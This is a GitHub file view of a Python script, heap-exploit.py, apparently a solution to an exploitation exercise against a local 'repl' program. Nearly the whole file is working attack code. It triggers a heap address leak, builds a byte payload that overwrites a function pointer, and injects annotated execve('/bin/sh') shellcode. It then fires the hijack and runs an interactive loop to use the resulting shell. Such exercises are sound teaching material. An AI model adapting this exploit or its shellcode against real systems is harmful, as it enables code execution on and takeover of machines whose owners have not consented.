-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathheap-exploit.py
executable file
·150 lines (131 loc) · 5.14 KB
/
heap-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python3
import os
import subprocess
import select
from struct import unpack, pack
from binascii import unhexlify
# observe on repl that each time the variable name is wider, a new node is
# formed on the heap
leak_trigger = """
a
aa
aaa
aaaa
aaaaa
aaaaaa
aaaaaaa
aaaaaaaa = \\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01
aaaaaaaa = \\x01
aaaaaaaa
"""
payload = ( # Payload documented in Intel Assembly Syntax
# mov rax,0x68732f6e69622f ("/bin/sh" NUL terminated)
"\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00" +
# push rax
"\\x50" +
# mov rax, rsp
"\\x48\\x89\\xe0" +
# push 0x0
"\\x6a\\x00" +
# move rbx, rsp
"\\x48\\x89\\xe3" +
# push rax
"\\x50" +
# mov rdi, rax
"\\x48\\x89\\xc7" +
# mov rsi, rsp
"\\x48\\x89\\xe6" +
# mov rdx, rbx
"\\x48\\x89\\xda" +
# mov rax, 0x3b
"\\xb8\\x3b\\x00\\x00\\x00" +
# syscall
"\\x0f\\x05" )
payload_length = 36
def address2text(address):
bytestr = pack("<Q", address)
text = (("\\x%.2x" % bytestr[0]) +
("\\x%.2x" % bytestr[1]) +
("\\x%.2x" % bytestr[2]) +
("\\x%.2x" % bytestr[3]) +
("\\x%.2x" % bytestr[4]) +
("\\x%.2x" % bytestr[5]) +
("\\x%.2x" % bytestr[6]) +
("\\x%.2x" % bytestr[7]))
return text
def overwrite_func_ptr_instr(jump_location, leaked_address):
overwrite_func_ptr = ("""
b = \\x02
c = \\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00""" +
address2text(leaked_address + 91) + "\\x63\\x00" +
address2text(leaked_address + 190) +
"\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00" +
address2text(leaked_address + 117) +
"\\x62\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x00\\x00\\x00\\x00\\x00\\x00\\x00" +
address2text(leaked_address + 150) +
address2text(leaked_address) +
address2text(leaked_address - 32) +
"\\x5d\\x00\\x00\\x00\\x00\\x00\\x00\\x00" +
address2text(jump_location) +
"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00" +
address2text(leaked_address - 87) +
"\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00" +
address2text(leaked_address + 214) +
"\\x63\\x00\\x61\\x61\\x61\\x61\\x61\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x00\\x00\\x00\\x00\\x00\\x00\\x00" +
address2text(leaked_address + 247) +
address2text(leaked_address + 33) +
address2text(leaked_address + 66) +
"\\xc7\\x00\n" +
"b = c\n")
return overwrite_func_ptr
def read_everything(filething):
output = "".encode("utf-8")
while True:
sets = select.select([filething], [], [], 0.01)
if len(sets[0]) == 0:
break
else:
output += filething.read(4096)
return output
(c2p_read, c2p_write) = os.pipe2(0)
(p2c_read, p2c_write) = os.pipe2(0)
child = subprocess.Popen(('./repl'), stdin=p2c_read, stdout=c2p_write, stderr=c2p_write)
outstream = os.fdopen(p2c_write, 'w', buffering=1)
instream = os.fdopen(c2p_read, 'rb', buffering=0)
print("Sending...\n" + leak_trigger)
outstream.write(leak_trigger)
child_output = read_everything(instream)
interesting_line = child_output.decode('utf-8').split('\n')[-2]
dataptr_hex = interesting_line[(24*4+1):(24*4+33)]
dataptr_hex_without_escapes = dataptr_hex.replace("\\x", "")
leaked_address = unpack('<Q', unhexlify(dataptr_hex_without_escapes))[0]
print("got leaked address %s" % hex(leaked_address))
# open gdb and do a x/400a from this address, you'll find a function call 176 bytes later
func_ptr_address = leaked_address + 174
print("function pointer is at %s "% hex(func_ptr_address))
start_of_overwrite = func_ptr_address - 108
print("start of overwrite will be %s " % hex(start_of_overwrite))
x = input("Pausing exploit, press enter to continue > ")
instructions = overwrite_func_ptr_instr(leaked_address + 598, leaked_address)
print("Sending ...\n" + instructions)
outstream.write(instructions)
child_output = read_everything(instream)
print(child_output.decode('utf-8'))
drop_payload = ("z = %s\n" % payload)
print("Sending ...\n" + drop_payload)
outstream.write(drop_payload)
child_output = read_everything(instream)
print(child_output.decode('utf-8'))
x = input("Pausing exploit, press enter to continue > ")
trigger = "aaaaaaaa\n"
print("Sending ...\n" + trigger)
outstream.write(trigger)
child_output = read_everything(instream)
print(child_output.decode('utf-8'))
print("Time to test our shell!")
while True:
x = input("> ") + "\n"
outstream.write(x)
child_output = read_everything(instream)
print(child_output.decode('utf-8'))
child.wait()